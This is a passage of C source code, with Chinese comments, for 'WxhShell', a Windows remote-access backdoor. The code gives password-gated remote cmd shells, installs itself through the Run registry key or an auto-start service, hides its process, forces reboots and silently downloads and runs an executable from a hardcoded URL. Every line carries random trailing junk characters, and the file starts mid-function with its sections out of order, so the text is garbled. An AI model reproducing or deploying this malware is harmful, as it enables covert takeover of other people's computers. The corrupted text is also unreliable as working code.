    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `|,`QqDQ  
    if(Boot(SHUTDOWN)) }*lUah,@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aCQ?fq  
    else { >Y #t`6,!  
    closesocket(wsh); 11<Qxu$rL  
    ExitThread(0); #tZ4N7  
    } AI,(z;{P  
    break; Sg6"WV{<  
    } D&}3$ 7>  
  // 获取shell Uc_'(IyO  
  case 's': { }"=AG  
    CmdShell(wsh); "NgxkbDEbG  
    closesocket(wsh); tcLnN:  
    ExitThread(0); LXEfPLS  
    break; &K/ya7  
  } qjf[zF  
  // 退出 mH Ic f{RG  
  case 'x': { dZi(&s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '[ C.|)"  
    CloseIt(wsh); H2um|6>  
    break; F{eU";D  
    } G`\f  
  // 离开 Xb{ [c+.  
  case 'q': { ^j" .  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L5#P[cHzz  
    closesocket(wsh); E_8\f_%wK  
    WSACleanup(); blTo5NLX  
    exit(1); |g #K]v  
    break; ^go7_y  
        } 4g : >[q  
  } 5e$~)fL  
  } F8;dKyT?q  
dl ~%MWAVb  
  // 提示信息 ?gJy3@D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7VMvF/ap]u  
} u86"Y ^d#  
  } g>dA$h%  
*M$0J'-BQ  
  return; gF$V$cU  
} A j2OkD  
~ECD`N<YF  
// shell模块句柄 :{IO=^D=$  
int CmdShell(SOCKET sock) <^zHE=h"  
{ ~$p2#AqX  
STARTUPINFO si; o(S{VGi,  
ZeroMemory(&si,sizeof(si)); hO';{Nl/$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?Rj~f{%g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hir4ZO%Zt  
PROCESS_INFORMATION ProcessInfo; \T <$9aNb  
char cmdline[]="cmd"; 2I&o69x?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >y[oP!-|P  
  return 0; 9'{}!-(xR  
} l2l(_$@3  
6xZ=^;H  
// 自身启动模式 tQ H+)*  
int StartFromService(void) %*&UJpbA  
{ o>7ts&rk  
typedef struct i K12 pw  
{ Q5FM8Q  
  DWORD ExitStatus; # m[|2R  
  DWORD PebBaseAddress; gFHT G  
  DWORD AffinityMask; ,4ei2`wV  
  DWORD BasePriority; "g' jPwFG  
  ULONG UniqueProcessId; J41G&$j(  
  ULONG InheritedFromUniqueProcessId; 9nH?l{As   
}   PROCESS_BASIC_INFORMATION; GKoK7qH\J  
Hd,p!_  
PROCNTQSIP NtQueryInformationProcess; !zPa_`P  
L+'Fs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xo&]RYG[<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W2z*91$  
Sp}tD<V  
  HANDLE             hProcess; u$-U*r  
  PROCESS_BASIC_INFORMATION pbi; zOGU8Wg  
^_ kJKM,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I =1+h  
  if(NULL == hInst ) return 0; /w]!wM  
R1& [S/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BQ @huns3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T'LIrf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sgO'wXcoP  
dw TMq*e  
  if (!NtQueryInformationProcess) return 0; ~i21%$  
i:u1s"3~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rr!Y3)f;  
  if(!hProcess) return 0; D<V~f B  
=e8bNg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2'5]~  
vq!_^F<  
  CloseHandle(hProcess); 4E+hRKuo,  
Op>%?W8/UF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *P#WDXRwd  
if(hProcess==NULL) return 0; ?}m']4p  
Q4*fc^?u  
HMODULE hMod; jq+A-T}@  
char procName[255]; $d,0=Ci  
unsigned long cbNeeded; JB>b`W9   
jiYmb8Q4D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZKXo-~=>  
1&P<  
  CloseHandle(hProcess); cKn`/\.H  
'w14sr%  
if(strstr(procName,"services")) return 1; // 以服务启动 :OW ;?{ ~j  
Bf$_XG3  
  return 0; // 注册表启动 #?XQ7Im  
} '&sE=.  
(XXheC  
// 主模块 P9S2?Q  
int StartWxhshell(LPSTR lpCmdLine) |QMhMGjV  
{ V=lfl1Ev0J  
  SOCKET wsl; I8QjKI (  
BOOL val=TRUE; l983vKr  
  int port=0; %/>Y/!;  
  struct sockaddr_in door; 9 JWa$iBH@  
=&},;VOh  
  if(wscfg.ws_autoins) Install(); \4AM*lZ  
?_ dIIQ  
port=atoi(lpCmdLine); !H2QjW  
eYC^4g%l(  
if(port<=0) port=wscfg.ws_port; o,xxh  
h(F<h_  
  WSADATA data; '(dz"PL.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QMsHC%l3b  
2CzaL,je[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AQc,>{Lm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5bA)j!#)|X  
  door.sin_family = AF_INET; ki{3IEOr}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z.CywME<)t  
  door.sin_port = htons(port); ) /v6l  
>y}M.Mm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %eJGt e-  
closesocket(wsl); qVdwfT{1J  
return 1; B}eA\O4}I  
} UK{irU|\  
-_<}$9lz  
  if(listen(wsl,2) == INVALID_SOCKET) { |Xw/E)jA  
closesocket(wsl); '}rRzD:  
return 1; 3mSXWl^?  
} &E M\CjKv"  
  Wxhshell(wsl); <&!v1yR  
  WSACleanup(); @rHK( 25+d  
YhRWz=l  
return 0; /5#rADOS  
HBY.DCN[Z  
} 2QNNp:`6  
i@][rdhT  
// 以NT服务方式启动 o=RM-tR`v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T2D<UhP  
{ w ~ dk#=  
DWORD   status = 0; .)+h H y  
  DWORD   specificError = 0xfffffff; ZlHDi!T  
*-12VIG'H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4:7V./" 9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  iL= m{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [lk'xzE  
  serviceStatus.dwWin32ExitCode     = 0;  `juLQH  
  serviceStatus.dwServiceSpecificExitCode = 0; ZbT/$\0(6  
  serviceStatus.dwCheckPoint       = 0; KE1ao9H8wR  
  serviceStatus.dwWaitHint       = 0; zh $}~RG[  
< Z|Ep1W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oxj3[</'k  
  if (hServiceStatusHandle==0) return; a"av#Y  
i_kE^SSgm  
status = GetLastError(); WsFk:h'r  
  if (status!=NO_ERROR) tV9L D>3  
{ (Z}>1WRju  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nkv(~ej(  
    serviceStatus.dwCheckPoint       = 0; @vMA=v7a  
    serviceStatus.dwWaitHint       = 0; kqb0>rYa   
    serviceStatus.dwWin32ExitCode     = status; 9 C{;h  
    serviceStatus.dwServiceSpecificExitCode = specificError; _Cw:J|l.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uHIiH@ S  
    return; KIeT!kmDl  
  } 5*\\J&H  
kSc{^-<R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^ZM0c>ev=l  
  serviceStatus.dwCheckPoint       = 0; 2S8P}$mM  
  serviceStatus.dwWaitHint       = 0; O,<IGO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O'GG Ti]e  
} F3oQ^;xB  
+f0~D(d!_  
// 处理NT服务事件,比如:启动、停止 +x]9+D&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lc6i KFyG  
{ h8 G5GRD  
switch(fdwControl) /j"sS2$U  
{ ^>?CMcN4*  
case SERVICE_CONTROL_STOP: n}mR~YqD  
  serviceStatus.dwWin32ExitCode = 0; K\^ 0_F K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jEz+1Nl)  
  serviceStatus.dwCheckPoint   = 0; muW!xY  
  serviceStatus.dwWaitHint     = 0; AOp/d(vx5i  
  { |xoF49  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D^U: ih  
  } OquAql:   
  return;  ySbqnw'  
case SERVICE_CONTROL_PAUSE: U6[ang'l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Lz DI0a.  
  break; ,&HR(jTo  
case SERVICE_CONTROL_CONTINUE: g`k?AM\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q/I)V2a1i  
  break; to"' By{9  
case SERVICE_CONTROL_INTERROGATE: }%TSGC4{  
  break; OndhLLz  
}; `N/RHb%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6+K_Z\  
} 1\L[i];L8  
(x;g/!:  
// 标准应用程序主函数 mgZf3?,)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1x~U*vbhQ  
{ zVv04_:  
wzjU,Mw e  
// 获取操作系统版本 /cFzotr"9  
OsIsNt=GetOsVer(); Fk=}iB#(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .w6eJ4 ]  
uqyB5V0gh  
  // 从命令行安装 vQ@2FZzu>  
  if(strpbrk(lpCmdLine,"iI")) Install(); >yJ-4lgZ  
w(nHD*nm  
  // 下载执行文件 N"[B=fU}  
if(wscfg.ws_downexe) { +~sd"v6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MVCl.o  
  WinExec(wscfg.ws_filenam,SW_HIDE); V+wH?H=  
} E{Pgf8  
!.5),2  
if(!OsIsNt) { lz | 64J  
// 如果时win9x,隐藏进程并且设置为注册表启动 }iBC@`mg(  
HideProc(); _L.n,  
StartWxhshell(lpCmdLine); % 0:p)Z0  
} vOI[Z0Lq9h  
else -m 5}#P89  
  if(StartFromService()) *B)yy[8j+  
  // 以服务方式启动 ;P?q2jI  
  StartServiceCtrlDispatcher(DispatchTable); tZWrz e^  
else M] V.!z9B  
  // 普通方式启动 {Z{o"56f  
  StartWxhshell(lpCmdLine); '_+9y5  
(3,.3)%`  
return 0; > ^[z3T  
} PHM:W%g:  
IF k  
&217l2X /  
`BZ&~vJ_  
=========================================== |I[7,`C~  
'3l$al:H^  
$<?X7n^  
6\d X  
Md; /nJO~{  
VU!w!GN]Y  
" -[#n+`M  
M"^K 0 .  
#include <stdio.h> yfjXqn[Z4  
#include <string.h> iy5R5L 2  
#include <windows.h> WN a0,  
#include <winsock2.h> ek-!b!iI  
#include <winsvc.h> t]_S  
#include <urlmon.h> 6a}r( yP  
,35&G"JK5  
#pragma comment (lib, "Ws2_32.lib") @y~P&HUN  
#pragma comment (lib, "urlmon.lib") Yig0/ "  
,WTTJN  
#define MAX_USER   100 // 最大客户端连接数 XbvDi+R 2A  
#define BUF_SOCK   200 // sock buffer 17UK1Jx,  
#define KEY_BUFF   255 // 输入 buffer $.e)  
%I4zQiJ%  
#define REBOOT     0   // 重启 q@#BPu"\l  
#define SHUTDOWN   1   // 关机 L0h G  
1-;?0en&0  
#define DEF_PORT   5000 // 监听端口 CSn<]%GL  
]= x 1`j  
#define REG_LEN     16   // 注册表键长度 q7]>i!A  
#define SVC_LEN     80   // NT服务名长度 Re:T9K'e  
/-*hjX$n  
// 从dll定义API \MYU<6{u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KHj6Tg;)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6!7Pm>ml  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m^Lj+=Z"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6517Km 4-  
M[Y4_$k<-  
// wxhshell配置信息 <4?*$  
struct WSCFG { }~enEZ  
  int ws_port;         // 监听端口 %JoxYy-  
  char ws_passstr[REG_LEN]; // 口令 Xza4iV  
  int ws_autoins;       // 安装标记, 1=yes 0=no w{7 ji}  
  char ws_regname[REG_LEN]; // 注册表键名 )@ PnTpL*  
  char ws_svcname[REG_LEN]; // 服务名 0g(6r-2)7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [Z }B"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T[Q"}&bB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !ng\` |8?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j]> uZalr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d?Y-;-|8Qh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B%b_/F]e  
fNhT;Bux  
}; c;V D}UD'  
P1d,8~;  
// default Wxhshell configuration 03E3cp"  
struct WSCFG wscfg={DEF_PORT, C!UEXj`l9  
    "xuhuanlingzhe", O2#S: ~h  
    1, :I/  
    "Wxhshell", W%8+t)  
    "Wxhshell", kV^?p  
            "WxhShell Service", }$)&{d G  
    "Wrsky Windows CmdShell Service", Gp1EJ2d8  
    "Please Input Your Password: ", m6so]xr  
  1, )A83A<~  
  "http://www.wrsky.com/wxhshell.exe", #MM &BC  
  "Wxhshell.exe" =P_fv  
    }; zO2{.4  
G1_Nd2w  
// 消息定义模块 I6w/0,azC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1i,4".h?M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wu^q`!ml  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~/c5 hyTx  
char *msg_ws_ext="\n\rExit."; ~zMKVM1Q.,  
char *msg_ws_end="\n\rQuit."; @ M[Q$:  
char *msg_ws_boot="\n\rReboot..."; PNmF}"  
char *msg_ws_poff="\n\rShutdown..."; #S?c ;3-  
char *msg_ws_down="\n\rSave to "; 'Oy5e@G+?  
rt.[,m  
char *msg_ws_err="\n\rErr!"; {E~l>Z88  
char *msg_ws_ok="\n\rOK!"; 9.8,q  
DT? m/*  
char ExeFile[MAX_PATH]; h DtK nF  
int nUser = 0; _7 `E[&v  
HANDLE handles[MAX_USER]; (t74a E pi  
int OsIsNt; 8kbBz  
Y +qus  
SERVICE_STATUS       serviceStatus; qc-C>Ra  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |BJqy/  
x(6vh2#vD  
// 函数声明  1~EO+  
int Install(void); <JH9StGGc?  
int Uninstall(void); twv lQ|  
int DownloadFile(char *sURL, SOCKET wsh); YX `%A6  
int Boot(int flag); qhxC 5f4Z  
void HideProc(void); 0WS|~?OR@  
int GetOsVer(void); BGpk&.J  
int Wxhshell(SOCKET wsl); uHrb:X!q  
void TalkWithClient(void *cs); @U7Dunu*f  
int CmdShell(SOCKET sock); +E#PJ_H=F8  
int StartFromService(void); z[biK|YL  
int StartWxhshell(LPSTR lpCmdLine); $B ?? Ip?P  
Y UZKle  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qdm(q:w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G1r V<,#m  
x vJ^@w'  
// 数据结构和表定义 H /%}R  
SERVICE_TABLE_ENTRY DispatchTable[] = >W~=]&7{s4  
{ J" wKRy  
{wscfg.ws_svcname, NTServiceMain}, {e6 KJ@H6  
{NULL, NULL} %#4 +!  
}; 0%;M VMH  
W^|J/Y48  
// 自我安装 9TW8o}k`  
int Install(void) a^/K?lAB8  
{ a(!3Afi  
  char svExeFile[MAX_PATH]; m9b(3  
  HKEY key; o_3*;}k8  
  strcpy(svExeFile,ExeFile); 7uA\&/ ,  
;r=?BbND?  
// 如果是win9x系统,修改注册表设为自启动 f~v"zT  
if(!OsIsNt) { b\M b*o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3 9yz~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VK$zq5D  
  RegCloseKey(key); 777rE[\@b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EFv4=OWB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :'ihE\j  
  RegCloseKey(key); u m{e&5jk  
  return 0; Xiw@  
    } :4]J2U\@  
  } JQH7ZaN  
} }_vM&.GFlL  
else { F b2p(.  
)?9\$^I  
// 如果是NT以上系统,安装为系统服务 U>1b9G"_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mR!rn^<l  
if (schSCManager!=0) :OX$LCi  
{ E6JV}`hSk  
  SC_HANDLE schService = CreateService [nC4/V+-  
  ( $&Ac5Zo%}  
  schSCManager, +qZc} 7rJF  
  wscfg.ws_svcname, k)Zn>  
  wscfg.ws_svcdisp, ac3_L$X[  
  SERVICE_ALL_ACCESS, 2gH _$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AW62~*  
  SERVICE_AUTO_START, mMslWe  
  SERVICE_ERROR_NORMAL, fxOE]d8v  
  svExeFile, lnjL7x  
  NULL, `L;OY 4  
  NULL, Bjtj{B  
  NULL, ifd}]UMQ  
  NULL, 8eN%sm  
  NULL rF'<r~Lw  
  ); $oc9 |Q 7  
  if (schService!=0) q:Wq8  
  { Qv\bLR  
  CloseServiceHandle(schService); =_uol8v  
  CloseServiceHandle(schSCManager); ?|)rv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gDMAc/V`l  
  strcat(svExeFile,wscfg.ws_svcname); %db3f z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <qr^Nyo4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,Z?m`cx  
  RegCloseKey(key); #[Z<=i~C  
  return 0; (A2U~j?Ry}  
    } -#daBx ?  
  } YI/{TL8*KK  
  CloseServiceHandle(schSCManager); 22PGWSQ  
} wJ/ ~q)  
} G IK u  
QT7_x`#J~o  
return 1; s5nB(L*Pjp  
} 8KZ$ F>T]>  
 w}"!l G  
// 自我卸载 |E? ,xWN  
int Uninstall(void) 1x8(I&i  
{ U>bP}[&S  
  HKEY key; g&q^.7c}  
8b{U tT  
if(!OsIsNt) { yg`E22  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /%-o.hT  
  RegDeleteValue(key,wscfg.ws_regname); FzA{U O  
  RegCloseKey(key); bd.j,4^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q})t<l+L  
  RegDeleteValue(key,wscfg.ws_regname); 3g^IXm:K$  
  RegCloseKey(key); }WA<=9e  
  return 0; M\9IlV?'  
  } w<btv]X1  
} |e~u!V\m  
} >}70]dN7b  
else { 6|%^pjX5  
[2=^C=52  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <xXiJU+  
if (schSCManager!=0) *h>OW  
{ /j$$0F>s7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b_q! >&c  
  if (schService!=0) tsB.oDMP  
  { Q3(hK<Qh;  
  if(DeleteService(schService)!=0) { d$4WK)U  
  CloseServiceHandle(schService); sYl&Q.\q  
  CloseServiceHandle(schSCManager); gv`%Z8u(  
  return 0; U`:lAG  
  } 8u4gx<;O  
  CloseServiceHandle(schService); q$ bHO  
  } i?lX,9%  
  CloseServiceHandle(schSCManager); /DK*y S  
} zUe#Wp[  
} Tw?Pp8'  
B8`R(vu;  
return 1; [O.LUR;  
} MoZU(j  
/,=Wy"0TJ  
// 从指定url下载文件 e!TG< (S  
int DownloadFile(char *sURL, SOCKET wsh) =ltbSf7  
{ TXA. 6e  
  HRESULT hr; pZyb  
char seps[]= "/"; GjG{qR  
char *token; c& 9+/JYMo  
char *file; [3Wsc`Q  
char myURL[MAX_PATH]; rOs)B21/  
char myFILE[MAX_PATH]; u?F7 L8q]  
B.h0" vJ  
strcpy(myURL,sURL); mvUVy1-c  
  token=strtok(myURL,seps); @hE7r-}]  
  while(token!=NULL) 9|us<k  
  { %Y#[% ~|(  
    file=token; x& mz-  
  token=strtok(NULL,seps);  "Nk`RsW  
  } x0}<n99qE  
|:!E HFr  
GetCurrentDirectory(MAX_PATH,myFILE); Fcu Eeca  
strcat(myFILE, "\\"); %:yHMEG]'  
strcat(myFILE, file); }Z~pfm_S  
  send(wsh,myFILE,strlen(myFILE),0); 8Sd?b5|G~  
send(wsh,"...",3,0); " 8~f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V#n?&-{V  
  if(hr==S_OK) 1^n5CI|7u  
return 0; 8A`p  
else q g) Af  
return 1; 6$xo# }8  
WM~J,`]J  
} YzforM^F  
>[A6 5q'  
// 系统电源模块 ymzPJ??!  
int Boot(int flag) X3&SL~&>g  
{ [wXwKr  
  HANDLE hToken; 4]|9!=\  
  TOKEN_PRIVILEGES tkp; ~ wJ3AqNC?  
wj5qQ]WC  
  if(OsIsNt) { 2 zmQp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mR!&.R?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q6s5#7h'"  
    tkp.PrivilegeCount = 1; yg-L^`t+B5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %zIl_/s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S'v V"  
if(flag==REBOOT) { y \mutm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a:(: :m  
  return 0; %_%f# S  
} KoxGxHz^Y3  
else { { ="Su{i}}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lEVQA*u[  
  return 0; 2l\D~ y  
} 7g4M/?H}K  
  } khKv5K#)  
  else { cq@_*:~Or  
if(flag==REBOOT) { 3. K{T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lk8W&|;0|  
  return 0; 5<:VJC<  
} ? bUpK  
else { O,V6hU/ *  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }]Gi@Nh|o  
  return 0; >yPFL'  
} =2vMw]  
} S1x.pLHj8  
*'AS^2'  
return 1; ]iE.fQ?;J  
} Cnc\sMDJ\B  
,&zjOc_v  
// win9x进程隐藏模块 E<98ahZ?l  
void HideProc(void) tNi% }~Z  
{ \r1kbf7?  
GtAJ#[5w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]Lb?#S  
  if ( hKernel != NULL ) iA^+/Lt  
  { 8-y: ==C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K@$L~G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +cE tm  
    FreeLibrary(hKernel); :DJ7d  
  } -KU)7V  
8R??J>h5\  
return; avbr7X(  
} S$kuhK>W!  
*]E7}bqb  
// 获取操作系统版本 95gsv\2  
int GetOsVer(void) wn A%Nh7  
{ ftI+#0?[!  
  OSVERSIONINFO winfo; 0F0Q=dZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t}c}@i_c  
  GetVersionEx(&winfo); ;ow~vO,x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7S~9E2N  
  return 1; skC|io-Zv  
  else 44fq1<.K  
  return 0; _:fO)gs|1  
} D-b2E6 o6  
GJ^]ER-K  
// 客户端句柄模块 hB GGs  
int Wxhshell(SOCKET wsl) h^ecn-PC  
{ E;GR;i{t  
  SOCKET wsh; w?$u!X  
  struct sockaddr_in client; @7[.> I(  
  DWORD myID; VM V]TPks>  
mB|mt+  
  while(nUser<MAX_USER) >kDdWgRQ  
{ 5[j!\d}U  
  int nSize=sizeof(client); eV {FcJha  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zcD_}t_K  
  if(wsh==INVALID_SOCKET) return 1; tM PX vE  
fO|~Oz<S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0@FM^ejA#  
if(handles[nUser]==0) e ka@?`  
  closesocket(wsh); {i%x s#0h  
else "aCb;2Rs  
  nUser++; CAo )v,f  
  } 1f pS"_}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4gkV]" H!  
+^&v5[$R  
  return 0; T m@1q!G  
} 3}#XA+Z  
b[[6X  
// 关闭 socket >2Qqa;nx|  
void CloseIt(SOCKET wsh) Dy{`">a  
{ (P>eWw\0  
closesocket(wsh); o"ah\"#el  
nUser--; 6nWx>R<  
ExitThread(0); :rs\ydDUF  
} `j!2uRFe>  
>K|GLP  
// 客户端请求句柄 1={Tcq\]  
void TalkWithClient(void *cs) 4(0t GF  
{ iZq@W3GL C  
noUZ9M|hz  
  SOCKET wsh=(SOCKET)cs; ,I&0#+}n  
  char pwd[SVC_LEN]; 548 [! p4  
  char cmd[KEY_BUFF]; EAd:`X,Y  
char chr[1]; % 6hw  
int i,j; L5k>;|SA  
(8-lDoW  
  while (nUser < MAX_USER) { 0-~6} r$  
`7qp\vYL  
if(wscfg.ws_passstr) { r?yJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C8W`Oly:]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AIxBZt7{b  
  //ZeroMemory(pwd,KEY_BUFF); gUszMhHX  
      i=0; \Af|$9boHz  
  while(i<SVC_LEN) { On.x~ t  
xE-c9AH  
  // 设置超时 GWqY$YT  
  fd_set FdRead; =E~5&W7  
  struct timeval TimeOut; V&+$V q  
  FD_ZERO(&FdRead); eeJt4DV8v  
  FD_SET(wsh,&FdRead); B%g:Z  
  TimeOut.tv_sec=8; Nb!6YY=Ez-  
  TimeOut.tv_usec=0; ;7n*PBUJJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $t H.np  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B{o\RNU  
'GzhZ`E6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L,A-G"z0Z  
  pwd=chr[0]; 6L> "m0  
  if(chr[0]==0xd || chr[0]==0xa) { 7@cvy? v{  
  pwd=0; \y )4`A  
  break; PLD'Q,R  
  } b}L,kT  
  i++; %FWfiFV|<  
    } 0G\myv  
KJ^GUqVl  
  // 如果是非法用户,关闭 socket =U7D}n hS-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S}[:;p?F`  
} (DMnwqr  
hUhp2ibEs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j% USu+&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8(/f!~  
b G5  
while(1) { = 4WZr  
$~@096`QL<  
  ZeroMemory(cmd,KEY_BUFF); U4L=3T+:[  
~5!TV,>ls  
      // 自动支持客户端 telnet标准   ;q&D,4r]  
  j=0; $F()`L{Tj  
  while(j<KEY_BUFF) { 9egaN_K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /^eemx  
  cmd[j]=chr[0]; 8Pdnw/W  
  if(chr[0]==0xa || chr[0]==0xd) { rHBjR_L.2  
  cmd[j]=0; 2T%f~yQ^  
  break; ^?]H$e  
  } LP-Q'vb<=  
  j++; z(X6%p0  
    } j"sO<Q{6%  
Y9L6W+=T  
  // 下载文件 N_k6UA9  
  if(strstr(cmd,"http://")) { UR2)e{RXg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A^@<+?  
  if(DownloadFile(cmd,wsh)) L.:QI<n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hpg;?xAT  
  else b-zX3R;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / cen# pb  
